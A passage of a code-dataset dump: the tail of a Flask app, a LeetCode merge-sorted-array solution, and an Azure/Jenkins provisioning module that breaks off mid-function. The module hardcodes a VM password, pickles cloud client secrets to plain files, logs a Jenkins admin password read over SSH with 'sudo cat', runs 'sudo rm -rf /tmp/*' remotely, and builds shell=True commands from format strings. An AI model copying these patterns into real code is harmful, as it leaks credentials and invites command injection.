ranks_flex = results_rank_flex)\r\n\r\n@app.route('/loading')\r\ndef loading():\r\n return render_template(\"loading.html\")\r\n\r\nif __name__ == \"__main__\":\r\n app.run(host=\"127.0.0.1\", port=8080, debug=True)\r\n\r\n","sub_path":"test_app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"579454309","text":"# Given two sorted integer arrays nums1 and nums2, merge nums2 into nums1 as one sorted array.\n#\n# Note:\n# You may assume that nums1 has enough space (size that is greater or equal to m + n) to hold\n# additional elements from nums2. The number of elements initialized in nums1 and nums2 are m and\n# n respectively.\n#\n# Tags: Array, Two Pointers\n# Difficulty: Easy\n\n\nclass Solution(object):\n def merge(self, nums1, m, nums2, n):\n \"\"\"\n :type nums1: List[int]\n :type m: int\n :type nums2: List[int]\n :type n: int\n :rtype: void Do not return anything, modify nums1 in-place instead.\n \"\"\"\n i, j, index = m - 1, n - 1, m + n - 1\n while i >= 0 and j >= 0:\n a, b = nums1[i], nums2[j]\n if a > b:\n nums1[index] = a\n i -= 1\n else:\n nums1[index] = b\n j -= 1\n index -= 1\n\n if i < 0:\n while j >= 0:\n nums1[j] = nums2[j]\n j -= 1\n","sub_path":"088_Merge_Sorted_Array.py","file_name":"088_Merge_Sorted_Array.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"532416724","text":"from __future__ import absolute_import, print_function, division\nfrom functools import wraps\nfrom time import sleep\nfrom ..env import get_cluster_config\nfrom subprocess import check_call, getoutput\nimport os\nimport sys\nimport subprocess\nfrom azure.common.credentials import ServicePrincipalCredentials\nfrom azure.mgmt.resource import ResourceManagementClient\nfrom azure.mgmt.resource.subscriptions.subscription_client import SubscriptionClient\nfrom azure.cli.command_modules.role.custom import create_service_principal_for_rbac, create_role_assignment, \\\n delete_application\nfrom azure.mgmt.resource.resources.models import DeploymentMode\nfrom msrestazure.azure_exceptions import CloudError\nfrom ..invoke_libs import render, resolvedns\nimport json\nfrom . import remote\nimport zipfile\nfrom ..log import logging\nfrom ..invoke_libs.kube import KubeApi\nfrom ..invoke_libs.git import GitHubApi\nimport yaml\nfrom ..invoke_libs.image import Image\nfrom ..invoke_libs.sync.copy_docker import CopyDocker\nfrom ..invoke_libs.validators import validate_ssh_key\nimport tempfile\nimport shutil\nfrom requests import post, put, get\nfrom jinja2 import Environment, FileSystemLoader\nimport adal\nimport re\nimport pickle\nimport time\nfrom azure.keyvault import KeyVaultId\nfrom azure.keyvault import KeyVaultClient\nfrom azure.graphrbac import GraphRbacManagementClient\nfrom azure.keyvault import KeyVaultClient\nfrom azure.mgmt.keyvault import KeyVaultManagementClient\nfrom azure.cli.core._profile import Profile\n\n\nclass Context(object):\n \"\"\"\n Core init context for the joara, all command and actions are initialized from here. Manages credentials and root path for caller functions\n \"\"\"\n def __init__(self, **kwargs):\n \"\"\"\n Init context to manage entire joara app\n :param kwargs:\n \"\"\"\n try:\n self.__dict__ = kwargs\n self.logger = logging.get_logger(self.__class__.__name__)\n self.file = os.path.abspath(self.file)\n self.script = os.path.basename(self.file)\n self.attributes = {}\n self.attributes.update(kwargs)\n if 'group' in kwargs:\n self.group = self.attributes['group']\n else:\n self.group = \"\"\n self.cluster_config = get_cluster_config(self.datacenter)\n\n if not 'RESOURCE_GROUP_PREFIX' in self.cluster_config or not self.cluster_config['RESOURCE_GROUP_PREFIX']:\n self.logger.error(\n \"Exception: Resource group prefix can't be empty, please update RESOURCE_GROUP_PREFIX in clusters.ini file under root project directory\")\n sys.exit(1)\n\n if len(self.cluster_config['RESOURCE_GROUP_PREFIX']) < 5:\n self.logger.error(\"Exception: Length of RESOURCE_GROUP_PREFIX should be >= 5 character\")\n sys.exit(1)\n\n self.__dict__.update({\n 'project_name': self.file.split(os.sep)[-2],\n 'project_path': os.path.dirname(self.file),\n 'app_datacenter': self.datacenter,\n 'app_main': kwargs.get('app_main', self.cluster_config['APP_MAIN']),\n 'app_docker_registry': \"{}acr{}.azurecr.io\".format(self.cluster_config['RESOURCE_GROUP_PREFIX'],\n self.datacenter),\n \"datacenter\": self.datacenter\n })\n self.__dict__.update({\n 'resource_group_prefix': self.cluster_config['RESOURCE_GROUP_PREFIX'],\n 'location': self.cluster_config['LOCATION'],\n 'user': self.datacenter})\n\n if self.group == \"azure-setup\":\n try:\n if ('AZURE_SUBSCRIPTION_ID' in os.environ and 'AZURE_TENANT_ID' in os.environ):\n self.__dict__.update({'subscription_id': os.environ['AZURE_SUBSCRIPTION_ID'],\n 'tenant_id': os.environ['AZURE_TENANT_ID']})\n else:\n self.__dict__.update({'subscription_id': self.cluster_config['AZURE_SUBSCRIPTION_ID'],\n 'tenant_id': self.cluster_config['AZURE_TENANT_ID']})\n\n except Exception as e:\n logs = \"Please update your azure subscription id under clusters.ini or to environment variables , {}\".format(\n e)\n self.logger.error(logs)\n raise RuntimeError(logs)\n\n self.profile = Profile()\n subscriptions = self.profile.find_subscriptions_on_login(\n True,\n None,\n None,\n None,\n self.tenant_id,\n allow_no_subscriptions=False)\n all_subscriptions = list(subscriptions)\n self.current_user_id = all_subscriptions[0][\"user\"][\"name\"]\n self.logger.info(\"Logged in user id {0}\".format(self.current_user_id))\n self.profile.set_active_subscription(self.subscription_id)\n cred, subscription_id, _ = self.profile.get_login_credentials()\n self.credentials = cred\n self.client = ResourceManagementClient(self.credentials, self.subscription_id)\n else:\n self.resource_group = \"{}-{}\".format(self.resource_group_prefix, self.datacenter)\n try:\n if (\n 'AZURE_CLIENT_ID' in os.environ and 'AZURE_CLIENT_SECRET' in os.environ and 'AZURE_TENANT_ID' in os.environ and 'AZURE_SUBSCRIPTION_ID' in os.environ):\n self.__dict__.update({\n 'subscription_id': os.environ['AZURE_SUBSCRIPTION_ID'],\n 'client_id': os.environ['AZURE_CLIENT_ID'],\n 'client_secret': os.environ['AZURE_CLIENT_SECRET'],\n 'tenant_id': os.environ['AZURE_TENANT_ID']})\n\n self.credentials = ServicePrincipalCredentials(\n client_id=self.client_id,\n secret=self.client_secret,\n tenant=self.tenant_id\n )\n else:\n try:\n if ('AZURE_SUBSCRIPTION_ID' in os.environ and 'AZURE_TENANT_ID' in os.environ):\n self.__dict__.update({'subscription_id': os.environ['AZURE_SUBSCRIPTION_ID'],\n 'tenant_id': os.environ['AZURE_TENANT_ID']})\n else:\n self.__dict__.update({'subscription_id': self.cluster_config['AZURE_SUBSCRIPTION_ID'],\n 'tenant_id': self.cluster_config['AZURE_TENANT_ID']})\n\n except Exception as e:\n logs = \"Please update your azure subscription id under clusters.ini or to environment variables , {}\".format(\n e)\n self.logger.error(logs)\n raise RuntimeError(logs)\n\n os.makedirs(os.path.join(os.path.expanduser(\"~\"), \".joara\"), exist_ok=True)\n current_token_filename = os.path.join(os.path.expanduser(\"~\"), \".joara\",\n \"{}.pickle\".format(self.resource_group))\n read_from_cache = os.path.isfile(current_token_filename)\n\n if (read_from_cache):\n azure_credential = pickle.load(open(current_token_filename, \"rb\"))\n self.client_id = azure_credential['AZURE_CLIENT_ID']\n self.client_secret = azure_credential['AZURE_CLIENT_SECRET']\n self.tenant_id = azure_credential['AZURE_TENANT_ID']\n self.subscription_id = azure_credential['AZURE_SUBSCRIPTION_ID']\n\n else:\n profile = Profile()\n subscriptions = profile.find_subscriptions_on_login(\n True,\n None,\n None,\n None,\n self.tenant_id,\n allow_no_subscriptions=False)\n profile.set_active_subscription(self.subscription_id)\n\n credkv, subscription_id, _ = profile.get_login_credentials(\n resource='https://vault.azure.net')\n\n client_kv = KeyVaultClient(credkv)\n dc_list = [\"dev\", \"test\", \"prod\", \"jenkins\"]\n for dc in dc_list:\n resource_group = \"{}-{}\".format(self.resource_group_prefix, dc)\n token_filename = os.path.join(os.path.expanduser(\"~\"), \".joara\",\n \"{}.pickle\".format(resource_group))\n vault_uri = \"https://{}-kv.vault.azure.net\".format(resource_group)\n secret_name_list = [\"AZURECLIENTID\", \"AZURECLIENTSECRET\", \"AZURETENANTID\",\n \"AZURESUBSCRIPTIONID\"]\n azure_srvp_credential = {}\n for secret_name in secret_name_list:\n output_secret = client_kv.get_secret(vault_uri, secret_name, secret_version='')\n try:\n if secret_name == \"AZURECLIENTID\":\n azure_srvp_credential[\"AZURE_CLIENT_ID\"] = output_secret.value\n elif secret_name == \"AZURECLIENTSECRET\":\n azure_srvp_credential[\"AZURE_CLIENT_SECRET\"] = output_secret.value\n elif secret_name == \"AZURETENANTID\":\n azure_srvp_credential[\"AZURE_TENANT_ID\"] = output_secret.value\n elif secret_name == \"AZURESUBSCRIPTIONID\":\n azure_srvp_credential[\"AZURE_SUBSCRIPTION_ID\"] = output_secret.value\n else:\n self.logger.error(\n \"No service principle keys found for {}\".format(secret_name))\n sys.exit(1)\n except Exception as e:\n logs = \"Unable to get secret tokens , {}\".format(e)\n self.logger.error(logs)\n raise RuntimeError(logs)\n pickle.dump(azure_srvp_credential, open(token_filename, \"wb\"))\n\n azure_credential = pickle.load(open(current_token_filename, \"rb\"))\n self.client_id = azure_credential['AZURE_CLIENT_ID']\n self.client_secret = azure_credential['AZURE_CLIENT_SECRET']\n self.tenant_id = azure_credential['AZURE_TENANT_ID']\n self.subscription_id = azure_credential['AZURE_SUBSCRIPTION_ID']\n\n # os.environ['AZURE_CLIENT_ID'] = self.client_id\n # os.environ['AZURE_CLIENT_SECRET'] = self.client_secret\n # os.environ['AZURE_TENANT_ID'] = self.tenant_id\n # os.environ['AZURE_SUBSCRIPTION_ID'] = self.subscription_id\n\n self.credentials = ServicePrincipalCredentials(\n client_id=self.client_id,\n secret=self.client_secret,\n tenant=self.tenant_id\n )\n except Exception as e:\n logs = \"Unable to authenticate, please update your azure credentials under clusters.ini or to environment variables , {}\".format(\n e)\n self.logger.error(logs)\n raise RuntimeError(logs)\n\n if 'SSH_KEY_FILE' in self.cluster_config:\n self.__dict__.update({\n 'ssh_key_file': \"{}{}\".format(self.app_main, self.cluster_config['SSH_KEY_FILE'])})\n else:\n self.__dict__.update({\n 'ssh_key_file': \"\"})\n\n os.environ['RESOURCE_GROUP_PREFIX'] = self.resource_group_prefix\n\n self.logger.info(\"app_datacenter: {0.app_datacenter} \".format(self))\n\n if self.group != \"\":\n validate_ssh_key(self.ssh_key_file)\n\n self.client = ResourceManagementClient(self.credentials, self.subscription_id)\n self.check_location()\n self._app_project_path()\n\n except Exception as err:\n self.logger.error(\"Exception: In Initializing the context {0}\".format(err))\n sys.exit(1)\n\n def check_location(self):\n \"\"\"\n Checks azure resource location and exit program if its a not a valid location\n :return:\n \"\"\"\n supported_regions = [\"eastus\", \"westcentralus\"]\n if not self.location in supported_regions:\n self.logger.error(\"Exception: Service not exist in the specified location {0}\".format(self.location))\n self.logger.warn(\"Supported locations {0}\".format(str(supported_regions)))\n sys.exit(1)\n else:\n self.logger.info(\"Using location: {0}\".format(self.location))\n\n self.logger.info(\"Using resource group: {0.resource_group_prefix}-{0.datacenter}\".format(self))\n if not self._checkazurelocation(self.location):\n self.logger.error(\n \"Exception: Specified location {0} not exit under your subscription\".format(self.location))\n sys.exit(1)\n else:\n self.logger.info(\"Using location: {0}\".format(self.location))\n\n def configure_azure(self):\n \"\"\"\n Core to configure azure with creation of service principle, key vault and role assignment - works only for owner with administrative privileges\n :return:\n \"\"\"\n self.logger.info(\"Started azure configure\")\n try:\n self.check_location()\n credkv, subscription_id, _ = self.profile.get_login_credentials(resource='https://vault.azure.net')\n credgm, subscription_id, _ = self.profile.get_login_credentials(resource='https://graph.windows.net')\n client_kv = KeyVaultClient(credkv)\n resource_group_name = self.attributes['resourcegroup']\n dc_list = [\"dev\", \"test\", \"prod\", \"jenkins\"]\n graphrbac_client = GraphRbacManagementClient(\n credgm,\n self.tenant_id\n )\n user = graphrbac_client.users.get(self.attributes['useremail'])\n current_user = graphrbac_client.users.get(self.current_user_id)\n self.logger.info(\"Access granting to user id {0}\".format(user.object_id))\n for dc in dc_list:\n client = ResourceManagementClient(self.credentials, subscription_id)\n resource_group = \"{}-{}\".format(resource_group_name, dc)\n self.logger.info(\"Resource group creation started {0}\".format(resource_group))\n try:\n client.resource_groups.create_or_update(\n resource_group,\n {\n 'location': self.location\n }\n )\n\n self.logger.info(\"Resource group creation completed {0}\".format(resource_group))\n except Exception as err:\n self.logger.error(\n \"Exception: Resource group creation failed for datacenter: {}, {}\".format(dc, err))\n sys.exit(1)\n for dc in dc_list:\n resource_group = \"{}-{}\".format(resource_group_name, dc)\n kv_client = KeyVaultManagementClient(self.credentials, subscription_id)\n self.logger.info(\"Key vault creation started for datacenter: {0}\".format(dc))\n try:\n vault = kv_client.vaults.create_or_update(\n resource_group,\n \"{}-kv\".format(resource_group),\n {\n 'location': self.location,\n 'properties': {\n 'sku': {\n 'name': 'standard'\n },\n 'tenant_id': self.tenant_id,\n 'access_policies': [{\n 'tenant_id': self.tenant_id,\n 'object_id': user.object_id,\n 'permissions': {\n 'keys': ['all'],\n 'secrets': ['all']\n }\n },\n {\n 'tenant_id': self.tenant_id,\n 'object_id': current_user.object_id,\n 'permissions': {\n 'keys': ['all'],\n 'secrets': ['all']\n }\n }\n ]\n }\n }\n )\n self.logger.info(\"Key vault creation completed for datacenter: {0}\".format(dc))\n except Exception as err:\n self.logger.error(\"Exception: Key vault creation failed for datacenter: {}, {}\".format(dc, err))\n sys.exit(1)\n app_name = resource_group\n self.logger.info(\"Service principle creation started for datacenter: {0}\".format(dc))\n try:\n json_srvp = create_service_principal_for_rbac(name=app_name, role=\"owner\", show_auth_for_sdk=False,skip_assignment=True)\n self.logger.info(\"Service principle creation completed for datacenter: {0}\".format(dc))\n except Exception as err:\n self.logger.error(\n \"Exception: Service principle creation failed for datacenter: {}, {}\".format(dc, err))\n sys.exit(1)\n\n self.logger.info(\"Key vault secret creation started for datacenter: {0}\".format(dc))\n\n try:\n # Create a secret\n secret_bundle = client_kv.set_secret(vault.properties.vault_uri, 'AZURECLIENTID',\n json_srvp[\"appId\"])\n secret_id = KeyVaultId.parse_secret_id(secret_bundle.id)\n\n # Create a secret\n secret_bundle = client_kv.set_secret(vault.properties.vault_uri, 'AZURECLIENTSECRET',\n json_srvp[\"password\"])\n secret_id = KeyVaultId.parse_secret_id(secret_bundle.id)\n\n # Create a secret\n secret_bundle = client_kv.set_secret(vault.properties.vault_uri, 'AZURETENANTID',\n json_srvp[\"tenant\"])\n secret_id = KeyVaultId.parse_secret_id(secret_bundle.id)\n\n # Create a secret\n secret_bundle = client_kv.set_secret(vault.properties.vault_uri, 'AZURESUBSCRIPTIONID',\n subscription_id)\n secret_id = KeyVaultId.parse_secret_id(secret_bundle.id)\n self.logger.info(\"Key vault secret creation completed for datacenter: {0}\".format(dc))\n except Exception as err:\n self.logger.error(\n \"Exception: Key vault secret creation failed for datacenter: {}, {}\".format(dc, err))\n sys.exit(1)\n\n _RETRY_TIMES = 36\n for l in range(0, _RETRY_TIMES):\n try:\n\n if dc == \"test\":\n output = create_role_assignment(role=\"owner\", assignee=json_srvp[\"name\"],\n resource_group_name=resource_group)\n output = create_role_assignment(role=\"contributor\", assignee=json_srvp[\"name\"],\n resource_group_name=\"{}-{}\".format(resource_group_name,\n \"dev\"))\n elif dc == \"prod\":\n output = create_role_assignment(role=\"owner\", assignee=json_srvp[\"name\"],\n resource_group_name=resource_group)\n output = create_role_assignment(role=\"contributor\", assignee=json_srvp[\"name\"],\n resource_group_name=\"{}-{}\".format(resource_group_name,\n \"test\"))\n else:\n output = create_role_assignment(role=\"owner\", assignee=json_srvp[\"name\"],\n resource_group_name=resource_group)\n\n output = create_role_assignment(role=\"owner\", assignee=self.attributes['useremail'],\n resource_group_name=resource_group)\n break\n except Exception as ex: # pylint: disable=broad-except\n if l < _RETRY_TIMES and (' does not reference ' in str(ex) or ' does not exist ' in str(ex)):\n time.sleep(5)\n self.logger.warning('Retrying role assignment: %s/%s', l + 1, _RETRY_TIMES)\n else:\n self.logger.error(\n \"Creating role assignment principal failed for appid '%s'. Trace followed:\\n%s\",\n json_srvp[\"name\"],\n ex.response.headers if hasattr(ex, 'response') else ex) # pylint: disable=no-member\n raise\n\n self.logger.info(\"Completed for datacenter: {0}\".format(dc))\n self.logger.info(\"Completed azure configure\")\n except Exception as err:\n self.logger.error(\"Exception: Azure configuration failed, {0}\".format(err))\n sys.exit(1)\n\n def run_win_cmd(self, cmd):\n result = []\n print(cmd)\n subprocess.Popen(cmd, shell=True)\n\n def _checkazurelocation(self, name):\n \"\"\"\n Returns true the location used by the user is valid\n :param name:\n :return:\n \"\"\"\n try:\n result = list(SubscriptionClient(self.credentials).subscriptions.list_locations(self.subscription_id))\n for l in result:\n if name == l.name:\n return True\n return False\n except Exception as err:\n self.logger.error(\"Exception: Unable to azure locations {0}\".format(err))\n sys.exit(1)\n\n def __str__(self):\n result = ''\n newline = ''\n for key in self.__dict__:\n result = '{}{}{}: {}'.format(\n result, newline, key, self.__dict__[key])\n newline = '\\n'\n return result\n\n def cd_and_run(self, directory, run_args):\n self.cd(directory)\n self.run('./run --datacenter ' + self.datacenter + ' ' + run_args)\n\n def cd(self, directory):\n while True:\n prev = directory\n directory = directory.format(self)\n if prev == directory:\n break\n self.logger.debug('cd {}'.format(directory))\n os.chdir(directory)\n\n def getoutput(self, cmd, log=True):\n while True:\n prev = cmd\n cmd = cmd.format(self)\n if prev == cmd:\n break\n\n if log:\n self.logger.debug(cmd)\n getoutput(cmd)\n\n def run(self, cmd, log=True):\n while True:\n prev = cmd\n cmd = cmd.format(self)\n if prev == cmd:\n break\n\n if log:\n self.logger.debug(cmd)\n check_call(cmd, shell=True)\n\n def configure_jenkins(self):\n \"\"\"\n Configures jenkins with pre and post. Pre gets the password for authenticating to jenkins and post configures the entire jenkins\n :return:\n \"\"\"\n try:\n if self.group == \"jenkins\":\n self.sshclient = remote.sshclient(\n \"{resourcegroup}-release-jenkins.{location}.cloudapp.azure.com\".format(\n resourcegroup=self.resource_group_prefix,\n location=self.location), \"{}jenkins\".format(self.resource_group_prefix))\n\n self.attrs = {}\n ## Git configuration\n self.attrs['github_credentials_id'] = self.cluster_config['JENKINS_GITHUB_CREDENTIALS_ID']\n self.attrs['github_username'] = self.cluster_config['GIT_HUB_USER_NAME']\n self.attrs['github_token'] = self.cluster_config['GIT_HUB_TOKEN']\n self.attrs['git_org_id'] = self.cluster_config['GIT_HUB_ORG_ID']\n\n self.regionmap = {\n \"westcentralus\": \"West Central US\",\n \"eastus\": \"East US\"\n }\n\n ## Azure configuration - dev\n self.attrs['azure_credentials_id'] = self.cluster_config['JENKINS_AZURE_CREDENTIALS_ID']\n\n dc_list = [\"dev\", \"test\", \"prod\", \"jenkins\"]\n for dc in dc_list:\n resource_group = \"{}-{}\".format(self.resource_group_prefix, dc)\n token_filename = os.path.join(os.path.expanduser(\"~\"), \".joara\",\n \"{}.pickle\".format(resource_group))\n\n azure_credential = pickle.load(open(token_filename, \"rb\"))\n self.attrs['{}_subscriptionId'.format(dc)] = azure_credential['AZURE_SUBSCRIPTION_ID']\n self.attrs['{}_clientId'.format(dc)] = azure_credential['AZURE_CLIENT_ID']\n self.attrs['{}_clientSecret'.format(dc)] = azure_credential['AZURE_CLIENT_SECRET']\n self.attrs['{}_tenant'.format(dc)] = azure_credential['AZURE_TENANT_ID']\n\n \n self.attrs['location'] = self.regionmap[self.location]\n\n ## Jenkins VM slave\n self.attrs['jenkins_vm_credentials_id'] = \"jenkins_vm_credentials_id\"\n self.attrs['jenkins_vm_username'] = \"jenkins\"\n self.attrs['jenkins_vm_password'] = \"cmadmin123!\"\n self.attrs['jenkins_storage_account'] = \"{}jenkinsslavest\".format(self.resource_group_prefix)\n self.attrs['resource_group'] = \"{}-jenkins\".format(self.resource_group_prefix)\n\n ## Email Notification settings\n self.attrs['default_suffix'] = self.cluster_config['EMAIL_DEFAULT_SUFFIX']\n self.attrs['reply_to'] = self.cluster_config['EMAIL_REPLY_TO']\n self.attrs['smtp_host'] = self.cluster_config['EMAIL_SMTP_HOST']\n self.attrs['smtp_password'] = self.cluster_config['EMAIL_SMTP_PASSWORD']\n self.attrs['smtp_port'] = self.cluster_config['EMAIL_SMTP_PORT']\n self.attrs['smtp_user'] = self.cluster_config['EMAIL_SMTP_USER']\n\n ## Jenkins Location\n self.attrs['jenkins_admin_email'] = self.cluster_config['JENKINS_ADMIN_EMAIL']\n self.attrs[\n 'jenkins_main_url'] = \"http://{resourcegroup}-release-jenkins.{location}.cloudapp.azure.com:8080\".format(\n resourcegroup=self.resource_group_prefix,\n location=self.location)\n\n self.app_render()\n\n self.sshclient.zip(os.path.join(os.getcwd(), \"ansible-jenkins\"), \"ansible-jenkins\")\n\n self.sshclient.sendCommand(\"sudo rm -rf /tmp/*\")\n self.sshclient.sendCommand(\"ls -la /tmp/\")\n self.sshclient.copyFile(\"ansible-jenkins.zip\")\n self.sshclient.copyFile(\n os.path.join(self.app_main, \"infrastructure\", \"configure\", \"jenkins\", \"configure.sh\"))\n self.sshclient.sendCommand(\"ls -la /tmp/\")\n self.logger.info(\"Started configuring jenkins \")\n log_output = self.sshclient.sendCommand(\"chmod +x /tmp/configure.sh ; cd /tmp/ ; ./configure.sh \")\n\n if log_output and \"Completed Configure Jenkins\" in log_output:\n self.logger.info(\"Completed configuring jenkins \")\n else:\n self.logger.exception(\"Error in jenkins configuration,Please refer logs\")\n sys.exit(1)\n\n os.remove(\"ansible-jenkins.zip\")\n\n if self.group == \"pre-jenkins\":\n self.sshclient = remote.sshclient(\n \"{resourcegroup}-release-jenkins.{location}.cloudapp.azure.com\".format(\n resourcegroup=self.resource_group_prefix,\n location=self.location), \"{}jenkins\".format(self.resource_group_prefix))\n self.logger.info(\"Getting Jenkins admin credentials \")\n\n _RETRY_TIMES = 20\n for l in range(0, _RETRY_TIMES):\n try:\n log_output = self.sshclient.sendCommand(\n \"sudo cat /var/lib/jenkins/secrets/initialAdminPassword\")\n if not log_output:\n raise Exception('Unable to get jenkins credentials')\n else:\n self.logger.warn(\"Jenkins credentials: {}\".format(log_output))\n\n self.logger.info(\"Please use the above credentials for configuring jenkins\")\n break\n except Exception as ex:\n if l < _RETRY_TIMES-1:\n time.sleep(30)\n self.logger.warning('Retrying to get jenkins credentials: %s/%s', l + 1, _RETRY_TIMES)\n else:\n self.logger.error(\n \"Unable to find the credentials either you have already configured jenkins, if not re-run the pre-jenkins command after 5 mins\")\n sys.exit(1)\n\n\n\n except Exception as err:\n self.logger.error(\"Exception: {0}\".format(err))\n sys.exit(1)\n\n def app_render(self):\n \"\"\"\n Replaces template file with values for jenkins ansible variables\n :return:\n \"\"\"\n list_files = ['all.yml']\n for files in list_files:\n self.app_render_template(self.find(files), files)\n\n def app_render_template(self, path, file):\n if path and os.path.exists(os.path.join(path, file)):\n env = Environment(loader=FileSystemLoader(os.path.join(path)))\n template = env.get_template(file)\n output_from_parsed_template = template.render(self.attrs)\n with open(os.path.join(path, file), \"w\") as fh:\n fh.write(output_from_parsed_template)\n\n def find(self, name):\n for root, dirs, files in os.walk(os.getcwd()):\n if name in files:\n return os.path.join(root)\n\n def configure_alerting(self):\n \"\"\"\n Configures azure monitor alerting for CPU loads in Jenkins VM\n :return:\n \"\"\"\n try:\n self.logger.info(\"Configuring Azure monitoring alerting for jenkins instance\")\n for resource in self.client.resources.list():\n resourcename = \"{}commonjenkins\".format(self.resource_group_prefix)\n if resource.type == 'Microsoft.Compute/virtualMachines' and resource.name == resourcename:\n self.logger.info(\"Found jenkins instance {}\".format(resource.name))\n attributes = {\n \"location\": self.location,\n \"resourceid\": resource.id,\n \"notification_email\": self.cluster_config['NOTIFICATION_EMAIL'],\n \"lowthreshold\": self.cluster_config['AZURE_MONITOR_CPU_LOWER_THRESHOLD'],\n \"higherthreshold\": self.cluster_config['AZURE_MONITOR_CPU_UPPER_THRESHOLD']\n }\n\n if not attributes[\"lowthreshold\"].isdigit():\n self.logger.error(\"AZURE_MONITOR_CPU_UPPER_THRESHOLD value in clusters.ini is not an integer\")\n sys.exit(1)\n\n if not attributes[\"higherthreshold\"].isdigit():\n self.logger.error(\"AZURE_MONITOR_CPU_UPPER_THRESHOLD value in clusters.ini is not an integer\")\n sys.exit(1)\n\n attributes_rule = {\n \"cpuhigh\": cpu_high,\n \"cpulow\": cpu_low,\n \"cpuzero\": cpu_zero\n }\n\n context = adal.AuthenticationContext('https://login.microsoftonline.com/' + self.tenant_id)\n token_response = context.acquire_token_with_client_credentials(\n 'https://management.core.windows.net/', self.client_id, self.client_secret)\n access_token = token_response.get('accessToken')\n\n headers = {\n \"Authorization\": 'Bearer ' + access_token,\n \"Content-Type\": 'application/json'\n }\n\n rules = [\"cpuhigh\", \"cpulow\", \"cpuzero\"]\n for rule in rules:\n uri = \"https://management.azure.com/subscriptions/{subscription_id}/resourceGroups/{resource_group_prefix}-jenkins/providers/microsoft.insights/alertRules/{rule}?api-version=2014-04-01\".format(\n subscription_id=self.subscription_id, resource_group_prefix=self.resource_group_prefix,\n rule=rule)\n self.logger.debug(uri)\n json_data = render(attributes_rule[rule], attributes)\n self.logger.debug(json_data)\n response = put(uri, json=json.loads(json_data), headers=headers)\n if response.status_code == 201 or response.status_code == 200:\n response.raise_for_status()\n self.logger.info(\"Azure monitor alert rule creation success for {}\".format(rule))\n else:\n self.logger.error(\"Azure monitor alert rule creation failed for {}\".format(rule))\n self.logger.error(response.status_code, response.json())\n\n self.logger.debug(response.json())\n except Exception as err:\n self.logger.error(\"Exception: Error in creating azure monitor alerting, {0}\".format(err))\n\n def validatedns(self):\n \"\"\"\n Returns true if the resource group name specified by the user is valid by checking whether the DNS is valid by resolving a DNS\n Validates for all datacenter ACR, Jenkins and ACS resources\n :return: true if resource is valid else false\n \"\"\"\n all_datacenters = ['dev', 'test', 'prod', 'jenkins']\n for dc in all_datacenters:\n registry_name = \"{resourcegroup}acr{datacenter}\".format(resourcegroup=self.resource_group_prefix,\n datacenter=dc)\n resource_group = \"{resourcegroup}-{datacenter}\".format(resourcegroup=self.resource_group_prefix,\n datacenter=dc)\n acr_dns = \"{}.azurecr.io\".format(registry_name)\n acs_dns = \"{resourcegroup}-acs-mgmt-{datacenter}.{location}.cloudapp.azure.com\".format(\n resourcegroup=self.resource_group_prefix, location=self.location,\n datacenter=dc)\n jenkins_dns = \"{resourcegroup}-release-jenkins.{location}.cloudapp.azure.com\".format(\n resourcegroup=self.resource_group_prefix, location=self.location)\n\n dns_kube_list = {\n \"acr\": acr_dns,\n \"acs\": acs_dns\n }\n\n dns_jenkins_list = {\n \"jenkins\": jenkins_dns\n }\n dns_list = {\n \"dev\": dns_kube_list,\n \"test\": dns_kube_list,\n \"prod\": dns_kube_list,\n \"jenkins\": dns_jenkins_list,\n }\n self.logger.info(\"Starting the pre-validate resource group check: {0.app_datacenter} ... \".format(self))\n resource_group_exist = False\n for item in self.client.resource_groups.list():\n if resource_group == item.name:\n resource_group_exist = True\n\n if not resource_group_exist:\n self.logger.info(\n \"Resource group {} not found under your subscription: {} ... \".format(resource_group, dc))\n else:\n self.logger.warn(\n \"Resource group {} found under your subscription: {} ... \".format(resource_group, dc))\n\n self.logger.info(\"Starting the pre-validate DNS check: {} ... \".format(dc))\n\n for key, value in dns_list[dc].items():\n if not resource_group_exist and resolvedns(value):\n self.logger.error(\n \"DNS check failed for {}. Already the DNS is in use, Please specifiy a different resource group name in clusters.ini \".format(\n key))\n self.logger.error(\"Pre-validate condition failed: {} ... \".format(dc))\n return False\n elif resource_group_exist and resolvedns(value):\n self.logger.warn(\n \"DNS check passed for {}. Already the DNS is in use in your subscription \".format(key))\n elif not resource_group_exist and not resolvedns(value):\n self.logger.info(\"DNS check passed for {}.\".format(key))\n else:\n self.logger.info(\"DNS check passed for {} \".format(key))\n self.logger.info(\"Pre-validate condition passed: {} ... \".format(dc))\n self.logger.info(\"All DNS check passed\")\n return True\n\n def deploy(self, config_dict):\n \"\"\"Deploy the template to a resource group.\"\"\"\n\n # Dict that maps keys of CloudCenter's region names to values of Azure's region names.\n # Used below to control where something is deployed\n\n self.logger.info(\"Starting the deployment: {0.app_datacenter} ... \".format(self))\n\n # try:\n # self.client.resource_groups.create_or_update(\n # self.resource_group,\n # {\n # 'location': self.location\n # }\n # )\n # except CloudError as err:\n # self.logger.error(\"CloudError: {0}\".format(err))\n # sys.exit(1)\n # except Exception as err:\n # self.logger.error(\"Exception: {0}\".format(err))\n # sys.exit(1)\n\n try:\n template_path = os.path.join(self.app_project_path, 'templates', 'template.json')\n with open(template_path, 'r') as template_file_fd:\n template = json.load(template_file_fd)\n except Exception as err:\n self.logger.error(\"Error loading the ARM Template: {0}. Check your syntax\".format(err))\n sys.exit(1)\n\n try:\n parameters_path = os.path.join(self.app_project_path, 'templates', 'parameters.json')\n with open(parameters_path, 'r') as armparams_file_fd:\n parameters = armparams_file_fd.read()\n except Exception as err:\n self.logger.error(\"Error loading the ARM Parameters File: {0}. Check your syntax\".format(err))\n sys.exit(1)\n\n attributes = {\n \"datacenter\": self.datacenter,\n \"resourcegroup\": self.resource_group_prefix,\n \"location\": self.location,\n \"client_id\": self.client_id,\n \"client_secret\": self.client_secret\n }\n\n if 'sshkey' in str(parameters):\n pub_ssh_key_path = os.path.join(os.path.expanduser(\"~\"), \".ssh\", \"id_rsa.pub\")\n with open(pub_ssh_key_path, 'r') as pub_ssh_file_fd:\n sshkey = pub_ssh_file_fd.read()\n attributes.update({\n \"sshkey\": sshkey.strip()})\n\n attributes.update(config_dict)\n parameters = render(str(parameters), attributes)\n parameters = json.loads(str(parameters).replace(\"'\", '\"').replace(\"False\", \"false\"))\n\n parameters = parameters['parameters']\n deployment_properties = {\n 'mode': 